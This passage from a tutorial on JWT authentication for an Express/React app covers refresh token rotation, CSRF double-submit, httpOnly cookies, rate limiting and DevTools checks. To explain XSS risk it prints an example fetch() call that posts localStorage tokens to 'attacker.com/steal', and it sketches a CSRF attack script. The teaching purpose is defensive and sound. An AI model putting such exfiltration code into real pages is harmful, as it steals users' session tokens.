  let payload;
  try {
    payload = jwt.verify(rawRefreshToken, env.JWT_REFRESH_SECRET);
  } catch (e) {
    throw errors.unauthorized('Invalid refresh token');
  }

  // 2. Verify it is in DB and not revoked (rotation safety)
  const stored = await refreshRepo.findValid(rawRefreshToken);
  if (!stored) {
    // CRITICAL: token presented but not in DB → possible replay.
    // Defensively revoke ALL tokens for this user.
    await refreshRepo.revokeAllForUser(payload.uid, 'ADMIN_REVOKE');
    throw errors.unauthorized('Refresh token not recognised — re-login required');
  }

  // 3. Rotate: revoke old, issue new (defence against token theft)
  await refreshRepo.revoke(rawRefreshToken, 'ROTATED');

  // 4. Load fresh permissions (role changes take effect on refresh per BR-RBAC-07)
  const user = await usersRepo.findByEmployeeId(payload.sub);
  if (!user || !user.is_active || user.is_locked) {
    throw errors.unauthorized('User no longer active');
  }
  const { role_code, permissions } = await usersRepo.loadRoleAndPermissions(user.user_id);

  // 5. Issue new pair
  const accessPayload = {
    sub: user.employee_id, uid: user.user_id, role: role_code, permissions,
  };
  const accessToken = jwt.sign(accessPayload, env.JWT_ACCESS_SECRET, {
    expiresIn: env.JWT_ACCESS_TTL_SEC,
  });
  const newRefresh = jwt.sign(
    { sub: user.employee_id, uid: user.user_id, type: 'refresh' },
    env.JWT_REFRESH_SECRET,
    { expiresIn: env.JWT_REFRESH_TTL_SEC }
  );

  const expiresAt = dayjs().add(env.JWT_REFRESH_TTL_SEC, 'second').toDate();
  await refreshRepo.persist({
    userId: user.user_id, rawToken: newRefresh,
    expiresAt, userAgent, ipAddress,
```

```
  });

  await auditRepo.record({
    employeeId: user.employee_id, outcome: 'TOKEN_REFRESH',
    ipAddress, userAgent,
  });

  return { accessToken, refreshToken: newRefresh, user: accessPayload };
}

async function logout({ rawRefreshToken, employeeId, ipAddress, userAgent }) {
  if (rawRefreshToken) {
    await refreshRepo.revoke(rawRefreshToken, 'LOGOUT');
  }
  if (employeeId) {
    await auditRepo.record({
      employeeId, outcome: 'LOGOUT', ipAddress, userAgent,
    });
  }
}

module.exports = { login, refresh, logout };
```

Why refresh tokens rotate on every use

Without rotation: a stolen refresh token works for 7 days.

With rotation: each refresh issues a NEW refresh token and immediately revokes the old one. If an attacker steals a token and uses it, the legitimate user's next refresh fails (token already used → revoked → not found in DB).

When the legitimate user fails, our service detects this — a "valid signature but missing from DB" pattern means replay. We then revoke ALL of that user's tokens defensively, forcing a full re-login. This kicks both attacker and legit user out, but the attacker loses persistent access.

This is the standard "refresh token rotation with theft detection" pattern.

13. src/modules/auth/auth.controller.js

The controller is THIN. It pulls req-shaped data, calls the service, and shapes the response. No business logic, no SQL.

```
// src/modules/auth/auth.controller.js
const env = require('../../config/env');
const service = require('./auth.service');
const { randomToken } = require('../../utils/crypto');

const REFRESH_COOKIE_NAME = 'cmcmis_rt';
const CSRF_COOKIE_NAME = 'cmcmis_csrf';

const refreshCookieOpts = {
  httpOnly: true,                                  // JS cannot read
  secure: env.NODE_ENV === 'production',          // HTTPS only in prod
  sameSite: 'lax',                                 // CSRF defence
  maxAge: env.JWT_REFRESH_TTL_SEC * 1000,
  path: `${env.API_BASE_PATH}/auth`,             // narrow scope
};

const csrfCookieOpts = {
  httpOnly: false,                                 // JS MUST read it
  secure: env.NODE_ENV === 'production',
  sameSite: 'lax',
  maxAge: env.JWT_REFRESH_TTL_SEC * 1000,
};

async function postLogin(req, res, next) {
  try {
    const { employee_id, password } = req.body;
    const { accessToken, refreshToken, user } = await service.login({
      employeeId: employee_id,
      password,
      ipAddress: req.ip,
      userAgent: req.headers['user-agent'],
    });

    // Refresh in httpOnly cookie
    res.cookie(REFRESH_COOKIE_NAME, refreshToken, refreshCookieOpts);

    // CSRF token in a JS-readable cookie (double-submit pattern)
    const csrfToken = randomToken();
    res.cookie(CSRF_COOKIE_NAME, csrfToken, csrfCookieOpts);

    res.json({
      data: {
        accessToken,
        csrfToken,
        user,
      },
    });
```

```
  } catch (e) { next(e); }
}

async function postRefresh(req, res, next) {
  try {
    const rawRefreshToken = req.cookies[REFRESH_COOKIE_NAME];

    // Double-submit CSRF check
    const csrfHeader = req.headers['x-csrf-token'];
    const csrfCookie = req.cookies[CSRF_COOKIE_NAME];
    if (!csrfHeader || !csrfCookie || csrfHeader !== csrfCookie) {
      return next({ name: 'AppError', code: 'CSRF', statusCode: 403, message: 'CSRF
mismatch' });
    }

    const { accessToken, refreshToken, user } = await service.refresh({
      rawRefreshToken,
      ipAddress: req.ip,
      userAgent: req.headers['user-agent'],
    });

    res.cookie(REFRESH_COOKIE_NAME, refreshToken, refreshCookieOpts);
    // Issue new CSRF on rotation
    const newCsrf = randomToken();
    res.cookie(CSRF_COOKIE_NAME, newCsrf, csrfCookieOpts);

    res.json({ data: { accessToken, csrfToken: newCsrf, user } });
  } catch (e) { next(e); }
}

async function postLogout(req, res, next) {
  try {
    const rawRefreshToken = req.cookies[REFRESH_COOKIE_NAME];
    const employeeId = req.user?.sub; // populated if authenticate middleware ran
    await service.logout({
      rawRefreshToken, employeeId,
      ipAddress: req.ip,
      userAgent: req.headers['user-agent'],
    });
    res.clearCookie(REFRESH_COOKIE_NAME, { path: refreshCookieOpts.path });
    res.clearCookie(CSRF_COOKIE_NAME);
    res.status(204).end();
  } catch (e) { next(e); }
}

module.exports = { postLogin, postRefresh, postLogout };
```

14. src/modules/auth/auth.routes.js & validate middleware

14.1 src/middleware/validate.js

Generic validator that runs any zod schema against req.body / req.query / req.params and either passes through or throws.

```
// src/middleware/validate.js
function validate(schema, source = 'body') {
  return (req, res, next) => {
    try {
      const parsed = schema.parse(req[source]);
      req[source] = parsed; // replaces with type-coerced parsed values
      next();
    } catch (e) {
      next(e); // ZodError → caught by errorHandler → 422
    }
  };
}
module.exports = validate;
```

14.2 src/modules/auth/auth.routes.js

```
// src/modules/auth/auth.routes.js
const router = require('express').Router();
const validate = require('../../middleware/validate');
const rateLimit = require('../../middleware/rateLimit'); // STEP 4 stub
const authenticate = require('../../middleware/authenticate'); // STEP 4 stub
const { loginSchema, refreshSchema } = require('./auth.validators');
const ctrl = require('./auth.controller');

// Public — rate limited
router.post('/login',
  rateLimit.loginLimiter,
  validate(loginSchema, 'body'),
  ctrl.postLogin
);

// Public-but-requires-cookie
router.post('/refresh',
  rateLimit.refreshLimiter,
  ctrl.postRefresh
);

// Protected
router.post('/logout',
  authenticate,
  ctrl.postLogout
);
```

```
module.exports = router;
```

✅STEP 3 — Verification Gate

curl test from terminal:

```
curl -X POST http://localhost:3000/api/v1/auth/login \
  -H "Content-Type: application/json" \
  -d '{"employee_id":"SA79900","password":"SA79900"}' \
  -i  -c cookies.txt
```

Expected response:

```
HTTP/1.1 200 OK
Set-Cookie: cmcmis_rt=eyJh...; HttpOnly; Path=/api/v1/auth; SameSite=Lax
Set-Cookie: cmcmis_csrf=...; SameSite=Lax
Content-Type: application/json

{"data":{"accessToken":"eyJh...","csrfToken":"...","user":{"sub":"SA79900","role":"SUPER_ADMIN","permissions":[...]}}
```

If accessToken comes back and login_audit shows SUCCESS row → STEP 3 GREEN.

PART V

STEP 4 — JWT Middleware & Internals

authenticate, authorize, rateLimit + the math

Now we wire the three middleware that protect every endpoint. authenticate verifies JWTs; authorize checks permissions; rateLimit throttles abuse. But first — what IS a JWT really? You can't debug what you don't understand.

15. JWT Internals — The Anatomy

A JWT is three base64-url-encoded strings joined with dots: HEADER.PAYLOAD.SIGNATURE

```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJTQTc5OTAwIiwidWlkIjoxLCJyb2xlIjoiU1VQRVJfQURNSU4iLCJwZXJtaXN
1MhVNQ8X4PvK3jZ-9KsWxgB6N4Yz0
   └──────────── HEADER ────────────┘ └──────────────────────── PAYLOAD ─────────────────────────┘ └─── SIGNATURE ──
```

15.1 Decode each segment

Each segment is base64url. Decode the header:

```
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d
{"alg":"HS256","typ":"JWT"}
```

Decode the payload:

```
echo
"eyJzdWIiOiJTQTc5OTAwIiwidWlkIjoxLCJyb2xlIjoiU1VQRVJfQURNSU4iLCJwZXJtaXNzaW9ucyI6WyJhdXRoOmxvZ2luIiwidXNlcjp
| base64 -d
{
  "sub": "SA79900",
  "uid": 1,
  "role": "SUPER_ADMIN",
  "permissions": ["auth:login", "user:read-list", ...],
  "iat": 1715948200,
  "exp": 1715949100
}
```

⚠ Critical Truth — JWT is NOT Encrypted

A JWT is SIGNED, not encrypted.

Anyone who has the token can read the payload. That includes:

- Browser DevTools
- Network sniffers on HTTP (use HTTPS!)
- Server logs (which is why we redact them)
- Browser extensions

NEVER put sensitive data in JWT payload. Things to put in: sub (subject), uid, role, permissions, iat, exp.

Things NOT to put: password hash, full PAN, credit card, GSTIN, anything private.

The signature only proves "this payload was signed by someone with the secret." It does NOT hide the payload.

15.2 How the Signature Works

```
signature = HMAC-SHA256(
  base64url(header) + "." + base64url(payload),
  JWT_ACCESS_SECRET
)

To verify:
1. Split token by "."
2. Re-hash header.payload with the SAME secret
3. Compare result to provided signature
4. If equal → token is genuine
5. If not equal → tampered → reject

If JWT_ACCESS_SECRET is leaked, attacker can forge ANY token they want.
That is why secrets must be 256-bit random, env-scoped, and rotated.
```

15.3 The Three Time Claims

Claim	Full Name	Our Value	What It Means
iat	Issued At	epoch seconds	When the token was created
exp	Expires At	iat + 900	Token is invalid after this time
jti	JWT ID	acc_<ts>_<uid>	Unique identifier; used for revocation lists

⍰ Why 15 minutes for access token?

Tradeoff:

- Too short (1 min): user gets refreshed constantly; every page transition feels laggy
- Too long (1 day): if token is stolen, attacker has a full day of access

15 minutes is the OWASP-recommended sweet spot:

- Long enough that page transitions are smooth
- Short enough that a stolen token has limited damage window
- Combined with refresh rotation, total compromised time is bounded

If the attacker steals only the access token (not the cookie), they have ≤15 minutes.

If they steal both, our rotation-with-theft-detection kicks them out on next refresh.

16. Refresh Token Storage — SHA-256 Hashed

The refresh token is what holds the 7-day session. If the DB is leaked, we MUST NOT let attackers replay refresh tokens. Solution: store only the SHA-256 hash.

```
-- Schema (from Phase 3 Migration 001)
CREATE TABLE refresh_tokens (
  token_id       BIGINT UNSIGNED NOT NULL AUTO_INCREMENT,
  user_id        BIGINT UNSIGNED NOT NULL,
  token_hash     VARCHAR(64)     NOT NULL,    -- sha256 hex = 64 chars
  issued_at      DATETIME(6)     NOT NULL DEFAULT CURRENT_TIMESTAMP(6),
  expires_at     DATETIME(6)     NOT NULL,
  revoked_at     DATETIME(6)     NULL,
  revoked_reason ENUM('LOGOUT','ROTATED','ADMIN_REVOKE',
                      'PASSWORD_CHANGE','EXPIRY_CLEANUP') NULL,
  user_agent     VARCHAR(500)    NULL,
  ip_address     VARCHAR(45)     NULL,
  PRIMARY KEY (token_id),
  UNIQUE KEY uk_rt_hash (token_hash)
);
```

Flow: when we issue a refresh token, we sign the JWT and compute SHA-256(token), store only the hash. When we verify, we re-hash and look up. Original token never sits in DB.

> **Why SHA-256 and not bcrypt for refresh tokens?**
>
> bcrypt is for PASSWORDS — slow on purpose (~80ms per compare) so attackers cannot brute-force.
>
> Refresh tokens are HIGH-ENTROPY (they are full JWTs with 256-bit secret signatures). You cannot brute-force them. The threat model is different — you need to detect lookups quickly, not slow them down.
>
> SHA-256 is fast (~50µs), deterministic (same input → same hash, which lets us UNIQUE INDEX on it), and irreversible. Perfect for high-entropy token lookup.
>
> Rule of thumb:
>
> Low-entropy secrets (passwords) → bcrypt / argon2
>
> High-entropy tokens (refresh, API keys) → sha256

17. src/middleware/authenticate.js

```
// src/middleware/authenticate.js
const jwt = require('jsonwebtoken');
const env = require('../config/env');
const { errors } = require('./errorHandler');

function authenticate(req, res, next) {
  const header = req.headers.authorization;
  if (!header || !header.startsWith('Bearer ')) {
    return next(errors.unauthorized('Missing Bearer token'));
  }
  const token = header.slice(7);  // strip "Bearer "

  let payload;
  try {
    payload = jwt.verify(token, env.JWT_ACCESS_SECRET);
  } catch (e) {
    // Specific error types — useful for debugging
    if (e.name === 'TokenExpiredError') {
      return next(errors.unauthorized('Token expired'));
    }
    if (e.name === 'JsonWebTokenError') {
      return next(errors.unauthorized('Token invalid'));
    }
    return next(errors.unauthorized());
  }

  // Attach to req for downstream middleware + controllers
  req.user = {
    employeeId: payload.sub,
    userId: payload.uid,
    role: payload.role,
    permissions: payload.permissions || [],
  };

  next();
}

module.exports = authenticate;
```

How authenticate.js plugs into Express

You attach it on a per-router basis (every route needs auth except /login and /refresh):

```
// src/modules/users/users.routes.js
const router = require(\"express\").Router();
const authenticate = require(\"../../middleware/authenticate\");
```

```
const authorize = require(\"../../middleware/authorize\");
const ctrl = require(\"./users.controller\");

// GET /me — only requires authentication
router.get(\"/me\", authenticate, ctrl.getMe);

// Admin endpoints need authenticate + authorize
router.get(\"/admin/users\",
  authenticate,
  authorize(\"user:read-list\"),
  ctrl.listUsers
);
```

18. src/middleware/authorize.js — The RBAC Gate

Per BR-RBAC-03: NEVER check role names. Always check permissions. This middleware does exactly that.

```
// src/middleware/authorize.js
const { errors } = require('./errorHandler');

/**
 * Factory: returns middleware that checks the user has the given permission.
 * Usage:  router.get("/x", authenticate, authorize("equipment:read-list"), ctrl.x);
 */
function authorize(permission) {
  return (req, res, next) => {
    if (!req.user) {
      return next(errors.unauthorized('Authentication required'));
    }
    if (!req.user.permissions.includes(permission)) {
      // Log this — repeated 403s might indicate probing
      req.log?.warn({
        permission,
        userPermissions: req.user.permissions.length,
        employeeId: req.user.employeeId,
      }, 'Permission denied');
      return next(errors.forbidden(`Missing permission: ${permission}`));
    }
    next();
  };
}

/**
 * Helper: check ANY of multiple permissions.
 * Useful when an endpoint has overlapping coverage (e.g., read own OR read all).
 */
function authorizeAny(...permissions) {
  return (req, res, next) => {
    if (!req.user) return next(errors.unauthorized());
    const has = permissions.some(p => req.user.permissions.includes(p));
    if (!has) {
      return next(errors.forbidden(`Missing any of: ${permissions.join(', ')}`));
    }
    next();
  };
}

module.exports = authorize;
module.exports.authorizeAny = authorizeAny;
```

> **The 403 vs 401 Distinction**

401 Unauthorized = "You are not authenticated."

→ No token, expired token, invalid token.

→ Frontend response: redirect to /login.

403 Forbidden = "You are authenticated, but not allowed."

→ Valid JWT, but permission not in token.permissions array.

→ Frontend response: show "Insufficient permissions" page.

NEVER use 403 when you mean 401. The browser interceptor logic depends on this:

• 401 → trigger /auth/refresh

• 403 → DON'T trigger refresh (it would loop); show forbidden page

19. src/middleware/rateLimit.js

Brute-force protection. Two limiters: a strict one on /login (slow attackers down) and a looser one on /refresh (legitimate users refresh every 15 min).

```
// src/middleware/rateLimit.js
const rateLimit = require('express-rate-limit');
const env = require('../config/env');

// /login — strict
const loginLimiter = rateLimit({
  windowMs: env.LOGIN_RATE_WINDOW_MS,        // 15 min
  max: env.LOGIN_RATE_MAX,                    // 10 attempts per window per IP
  standardHeaders: true,
  legacyHeaders: false,
  keyGenerator: (req) => req.ip,
  message: {
    error: {
      code: 'RATE_LIMITED',
      message: 'Too many login attempts. Try again later.',
    },
  },
});

// /refresh — looser (one user might refresh many times/day)
const refreshLimiter = rateLimit({
  windowMs: 60 * 1000,      // 1 min
  max: 30,                  // 30 refreshes/min/IP — plenty
  standardHeaders: true,
  legacyHeaders: false,
  keyGenerator: (req) => req.ip,
});

module.exports = { loginLimiter, refreshLimiter };
```

✓Rate Limiting — Defence in Depth

Rate limit is layer ONE. Other layers:

1. Regex pre-check: malformed inputs fail in <1ms (saves bcrypt CPU)
2. Bcrypt cost factor: each compare takes ~80ms (slows attacker by 80,000×)
3. failed_login_count: column on users table — DB tracks per-user failures
4. Account lock: at N failures, is_locked=TRUE → only Super Admin unlocks
5. login_audit: every attempt logged → forensics + dashboard alerts

With all five layers, brute-forcing one specific user from one IP through 10 attempts × 80ms each = 800ms of CPU. Then locked. Attacker gets nothing.

19.1 What rate-limit headers look like on the wire

```
# A successful response includes rate-limit info headers:
HTTP/1.1 200 OK
RateLimit-Limit: 10
RateLimit-Remaining: 7
RateLimit-Reset: 1715949700  # epoch when window resets

# A rate-limited response (after 10 attempts in 15 min):
HTTP/1.1 429 Too Many Requests
RateLimit-Limit: 10
RateLimit-Remaining: 0
RateLimit-Reset: 1715949700
Retry-After: 600  # seconds until allowed again

{ "error": { "code": "RATE_LIMITED", "message": "Too many login attempts..." } }
```

PART VI

SECURITY DEEP DIVE

Why our token strategy looks the way it does — and how to see it in the browser

This part of the document is the most important for understanding what is happening when a user logs in. If you do not understand why we put the access token in memory but the refresh token in an httpOnly cookie, you cannot make sound security decisions for the rest of the project.

The split is not arbitrary. Each piece is in a specific location to defend against a specific attack class.

Token Storage Summary — Where each piece lives

Item	Where Stored	JS Can Read?	Sent With Request	Defends Against
Access Token (JWT)	JS variable in memory	✓Yes (intentionally)	In Authorization: Bearer header	Loss on refresh = re-issue via cookie
Refresh Token	httpOnly cookie	✗NO	Browser auto-sends in Cookie header	XSS (cannot be stolen via document.cookie)
CSRF Token	JS-readable cookie + JS state	✓Yes	In X-CSRF-Token header	CSRF (attacker cannot read JS-cookie cross-site)
Password	NEVER stored client-side	—	Only in /login request body, then forgotten	—

20. SECURITY DEEP DIVE — Why NOT localStorage?

Every beginner tutorial says "save your JWT in localStorage." Every senior security engineer says NO. Here is the attack you are protecting against.

20.1 The XSS Attack Walkthrough

Imagine your app loads a third-party charts library from a CDN. One day, the CDN is compromised and the library now contains:

```
// Malicious code injected into charts-lib.min.js
fetch('https://attacker.com/steal', {
  method: 'POST',
  body: JSON.stringify({
    token: localStorage.getItem('jwt'),
    user: localStorage.getItem('user'),
  }),
});
```

If your app stored its JWT in localStorage, the attacker now has a copy of every active user's token. They can replay those tokens against your API for the full lifetime of each JWT (15 min in our case, but plenty of tutorials use 24-hour tokens — disaster).

Why localStorage is dangerous for tokens

localStorage is accessible to ANY JavaScript running on the page.

Sources of "any JavaScript":

- Your own code
- npm dependencies (any one of them, transitively)
- Browser extensions
- CDN-loaded scripts
- User-pasted code in DevTools (in a moment of social engineering)

A single XSS — anywhere in your dependency tree — gives the attacker localStorage.

Defence: don't put long-lived secrets in localStorage. Period.

20.2 So where DO we put the access token?

In a JavaScript VARIABLE — held in React state via auth-context. The variable is gone when the page reloads. That is FINE because we have the refresh token in an httpOnly cookie which the browser sends automatically to /auth/refresh, getting us a fresh access token without re-prompting.

```
// In our auth-context.tsx
const [accessToken, setAccessToken] = useState<string | null>(null);
const [user, setUser] = useState<User | null>(null);

// On app boot, try to refresh silently
useEffect(() => {
  api.post('/auth/refresh')
    .then(res => {
      setAccessToken(res.data.data.accessToken);
      setUser(res.data.data.user);
    })
    .catch(() => {
      // No valid cookie → user needs to log in
    });
}, []);
```

Access token = JS variable (XSS-vulnerable but short-lived; 15 min max damage). Refresh token = httpOnly cookie (XSS-IMMUNE; 7 days). Net: secure AND smooth UX.

21. SECURITY DEEP DIVE — How httpOnly Cookie Works

21.1 The cookie attributes we set

```
Set-Cookie: cmcmis_rt=eyJhbGciOiJIUzI1NiIs...;
            HttpOnly;          ← JavaScript CANNOT read this
            Secure;            ← Only sent over HTTPS (prod)
            SameSite=Lax;      ← Not sent on cross-site POST (CSRF defence)
            Path=/api/v1/auth; ← Narrow scope (only auth endpoints)
            Max-Age=604800     ← 7 days
```

21.2 What each attribute defends against

Attribute	Defends Against	What Happens Without It
HttpOnly	XSS theft	document.cookie returns the token; attacker reads it via injected JS
Secure	Network interception	Token sent over HTTP in plaintext; coffee-shop Wi-Fi snoopable
SameSite=Lax	CSRF (most cases)	Attacker site can trigger requests with your cookies attached
Path=/api/v1/auth	Token leak via path mismatch	Cookie sent on every request; even non-auth endpoints
Max-Age=604800	Indefinite session	Forever session; if cookie is stolen it works forever

SameSite=Lax vs Strict vs None

SameSite=Lax (our choice):

- Cookie sent on same-site requests
- Cookie sent on top-level cross-site navigations (e.g. clicking a link FROM attacker.com TO our site)
- Cookie NOT sent on cross-site POST, fetch, or iframe

→ Best balance of CSRF defence + UX

SameSite=Strict:

- Cookie only sent on truly-same-site requests
- Breaks "user clicks link in email → arrives logged-in" flow

→ Most secure but too strict for some flows

SameSite=None:

- Cookie sent on every cross-site request
- Requires Secure flag

→ Used only for third-party SaaS embedding; OPENS CSRF surface

22. SECURITY DEEP DIVE — CSRF Double-Submit Token

SameSite=Lax stops most CSRF. But for /auth/refresh specifically, we layer in a double-submit token because refresh is the most critical endpoint (issues new access tokens).

22.1 The CSRF Attack

Without CSRF defence, here is how an attacker steals your session:

```
1. User logs into our app, gets httpOnly cookie.
2. User stays logged in (cookie has 7-day life).
3. User browses to attacker.com in another tab.
4. attacker.com has hidden JS:
     fetch('https://our-app.com/api/v1/auth/refresh', {
       method: 'POST',
       credentials: 'include'  // sends cookies
     });
5. The user's browser sends the httpOnly cookie WITH the request
   (because credentials: include).
6. Our server sees a valid cookie and issues a new access token.
7. attacker.com captures the access token in the response.
   → Game over: attacker has fresh credentials.
```

22.2 The Double-Submit Defence

On login, our server issues TWO cookies: one httpOnly refresh + one JS-readable CSRF. The frontend reads the CSRF cookie and sends it back in a header on every /auth/refresh.

```
// Our backend issues on /auth/login:
Set-Cookie: cmcmis_rt=...; HttpOnly; ...
Set-Cookie: cmcmis_csrf=abc123def...; SameSite=Lax  ← NOT httpOnly

// Frontend reads cmcmis_csrf:
const csrfToken = getCookie('cmcmis_csrf');

// Frontend sends it back as a HEADER:
api.post('/auth/refresh', null, {
  headers: { 'X-CSRF-Token': csrfToken }
});

// Server verifies:
if (req.headers['x-csrf-token'] !== req.cookies.cmcmis_csrf) {
  throw 403 CSRF mismatch;
}
```

> ✓ **Why this defeats CSRF**

The attacker on attacker.com can:

• Make the user's browser SEND the httpOnly refresh cookie ✓

• Make the user's browser SEND the CSRF cookie ✓

But the attacker CANNOT:

• Read the CSRF cookie from JS (because it is on our domain — same-origin policy blocks cross-site cookie reads)

• Set the X-CSRF-Token header without knowing the value

So the request arrives with both cookies but NO X-CSRF-Token header. Server checks → no header → 403 → attack defeated.

This is the "double submit" pattern: token in two places (cookie + header), server demands they match.

23. BROWSER INSPECT — Network Tab Forensics

Open DevTools → Network tab. Reload your app. Filter by XHR/Fetch. Click any request. This is what you will see for our endpoints.

23.1 What POST /api/v1/auth/login looks like

```
╔═══════════════════════════════════════════════════════════════════╗
║  Request URL: http://localhost:3000/api/v1/auth/login             ║
║  Request Method: POST                                             ║
║  Status Code: 200 OK                                              ║
╠═══════════════════════════════════════════════════════════════════╣
║  REQUEST HEADERS                                                  ║
║    Content-Type: application/json                                 ║
║    Origin: http://localhost:5173                                  ║
║    Referer: http://localhost:5173/login                           ║
║    User-Agent: Mozilla/5.0 ...                                    ║
║                                                                   ║
║  REQUEST PAYLOAD                                                  ║
║    { "employee_id": "SA79900", "password": "SA79900" }            ║
╠═══════════════════════════════════════════════════════════════════╣
║  RESPONSE HEADERS                                                 ║
║    Access-Control-Allow-Origin: http://localhost:5173             ║
║    Access-Control-Allow-Credentials: true                         ║
║    Set-Cookie: cmcmis_rt=eyJ...; HttpOnly; Path=/api/v1/auth; ... ║
║    Set-Cookie: cmcmis_csrf=ab12...; SameSite=Lax                  ║
║    Content-Type: application/json; charset=utf-8                  ║
║                                                                   ║
║  RESPONSE BODY                                                    ║
║    {                                                              ║
║      "data": {                                                    ║
║        "accessToken": "eyJh...",                                  ║
║        "csrfToken": "ab12...",                                    ║
║        "user": {                                                  ║
║          "sub": "SA79900",                                        ║
║          "uid": 1,                                                ║
║          "role": "SUPER_ADMIN",                                   ║
║          "permissions": ["auth:login", "user:read-list", ...]     ║
║        }                                                          ║
║      }                                                            ║
║    }                                                              ║
╚═══════════════════════════════════════════════════════════════════╝
```

23.2 What POST /api/v1/equipment looks like (after login)

```
╔═══════════════════════════════════════════════════════════════════╗
║  Request URL: http://localhost:3000/api/v1/equipment              ║
║  Request Method: GET                                              ║
║  Status Code: 200 OK                                              ║
╠═══════════════════════════════════════════════════════════════════╣
║  REQUEST HEADERS                                                  ║
```

```
╔═══════════════════════════════════════════════════════════════════╗
║    Authorization: Bearer eyJhbGciOiJIUzI1NiIs...                  ║
║                  ↑ axios interceptor attaches this from memory    ║
║    Cookie: cmcmis_rt=...; cmcmis_csrf=...                         ║
║                  ↑ browser auto-attaches                          ║
║    X-CSRF-Token: ab12...                                          ║
║                  ↑ for write endpoints (POST/PATCH/DELETE)        ║
╚═══════════════════════════════════════════════════════════════════╝
```

⍰ Use the Network tab to verify

✓The httpOnly cookie is set on /login response (Set-Cookie header)

✓The access token comes back in JSON body (NOT a cookie)

✓Subsequent requests have Authorization: Bearer in headers

✓Cross-origin requests include Origin header (and CORS works)

✓Failed requests return our standard error envelope

If any of these look wrong, do not proceed. Network tab is the source of truth for what is actually on the wire.

24. BROWSER INSPECT — Application Tab (Cookies)

DevTools → Application tab → Storage → Cookies → your domain. This is where you SEE the cookies your browser is holding.

24.1 What you will see after logging in

Name	Value	Domain	Path	Size	Expires	HttpOnly / Secure
cmcmis_rt	eyJhbGciOiJ...	localhost	/api/v1/auth	287	2026-05-24	✓ HttpOnly
cmcmis_csrf	ab12cd34ef56...	localhost	/	64	2026-05-24	(none)

24.2 What to verify here

1. Both cookies present after /login.
2. cmcmis_rt has HttpOnly = ✓checkmark. (If unchecked, your server config is wrong → fix immediately.)
3. cmcmis_rt Path = /api/v1/auth (narrow scope — not sent on equipment requests, only auth refresh).
4. cmcmis_csrf does NOT have HttpOnly. (It MUST be readable by JS for the double-submit pattern.)
5. Expires date is roughly 7 days out from issue.

⚠ What if you see localStorage entries with your token?

STOP. That means your frontend is storing tokens in localStorage somewhere.

Search the codebase for:

localStorage.setItem(

sessionStorage.setItem(

If you find any token / refresh / accessToken being stored that way, refactor immediately. The pattern is:

WRONG: localStorage.setItem("jwt", token)

RIGHT: setAccessToken(token) // in React state via auth-context

This is the #1 mistake in React+JWT tutorials online. Do not copy that pattern.

25. BROWSER INSPECT — Console Tab Tests

Open DevTools → Console. You can run JS directly to verify your security model.

25.1 Test that httpOnly is actually httpOnly

```
> document.cookie
"cmcmis_csrf=ab12cd34..."

# Notice: NO cmcmis_rt in the result!
# That is correct — the httpOnly flag is working.
# If you saw "cmcmis_rt=..." in document.cookie output, your config is BROKEN.
```

25.2 Test what XSS would see

Pretend you are the attacker. Try to read the refresh token:

```
> document.cookie.split(';').find(c => c.includes('cmcmis_rt'))
undefined

# Perfect. Attacker can't see it.
# Now try the access token:

> JSON.parse(document.body.dataset.user || '{}')
{}  // we don't put it on data attributes

> localStorage.getItem('accessToken')
null  // we don't put it in localStorage

> Object.keys(localStorage)
[]    // nothing valuable in localStorage
```

25.3 What the attacker COULD get (and why it is bounded)

```
# If XSS DOES inject and the access token is in a React state hook,
# the attacker could try to grab it from the React fiber tree:

> document.querySelector('#root')._reactRootContainer
# This is complex to walk and version-dependent.
# Even if they succeed:
#   - Token is valid for ≤15 minutes
#   - It is NOT a refresh token; they cannot extend the session
#   - On the next /auth/refresh, the attacker's stolen token expires
#     and they need to steal again

# Compare to localStorage approach:
#   - Token retrievable in ONE line: localStorage.getItem('jwt')
```

```
#   - Often 24-hour or longer life
#   - Refresh token usually also there
#   - Game over
```

26. BROWSER INSPECT — Live Forensics & Decoding

The browser is the engineer's microscope. These are the moves you make when something looks wrong.

26.1 Decode a JWT live in Console

```
// Grab the token from a Network request → Headers → Authorization
> const token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJTQTc5OTAwIiw...";

> const payload = JSON.parse(atob(token.split('.')[1]));
> console.log(payload);
{
  sub: "SA79900",
  uid: 1,
  role: "SUPER_ADMIN",
  permissions: ["auth:login", ...],
  iat: 1715948200,
  exp: 1715949100
}

> // Check expiry:
> new Date(payload.exp * 1000)
Sat May 17 2026 14:31:40 GMT+0530

> // How many seconds left?
> payload.exp - Math.floor(Date.now() / 1000)
734  // 12 minutes 14 seconds
```

26.2 Monitor refresh cycles

Network tab → Filter "refresh". You will see /auth/refresh fire roughly every 13-14 minutes (just before the 15-min access token expires). If you see it fire more often, your interceptor logic is wrong.

```
// Time-stamps of /auth/refresh calls in a healthy session:
14:00:00  → /auth/refresh (initial silent login on app boot)
14:13:45  → /auth/refresh (axios interceptor on 401)
14:27:50  → /auth/refresh (axios interceptor on 401)
14:42:05  → /auth/refresh
...

# Each refresh:
#   1. Browser sends old cmcmis_rt cookie + X-CSRF-Token header
#   2. Server verifies + rotates
#   3. Server issues NEW cmcmis_rt cookie + new csrfToken in body
#   4. Frontend updates its in-memory access token
```

26.3 Detect token replay attempts

In a healthy system, you should never see a /auth/refresh with a Cookie that returns 401. If you do, it means either:

- The token rotation chain was broken (a previous refresh did not persist properly)
- Someone is replaying an old token (potential attack)
- Cookie SameSite is misconfigured (browser not sending it)

Server-side correlation: login_audit

When you see odd Network behaviour, correlate with login_audit:

```
SELECT * FROM login_audit
WHERE employee_id = "SA79900"
  AND attempt_at > NOW() - INTERVAL 1 HOUR
ORDER BY attempt_at DESC;
```

Look for:

• Multiple FAILED_BAD_PASSWORD from same IP → brute force

• TOKEN_REFRESH from unusual IP → token theft

• FAILED_USER_LOCKED → account already locked

• High frequency of TOKEN_REFRESH (>10/hour) → bug in interceptor

Phase 9 will add a dashboard for this. For now, raw SQL is fine.

PART VII

STEP 5 — Frontend Scaffold

React + Vite + Tailwind + axios + auth context

27. Frontend Scaffold

Bootstrapping the React app. Same logic as backend: install dependencies, configure tooling, then write the auth-related files.

27.1 Create the Vite project

```
npm create vite@latest phase4-frontend -- --template react-ts
cd phase4-frontend
npm install

# Add Tailwind v3 (D8 lock)
npm install -D tailwindcss@^3 postcss autoprefixer
npx tailwindcss init -p

# Add runtime deps
npm install axios react-router-dom@^6 zod react-hook-form @hookform/resolvers
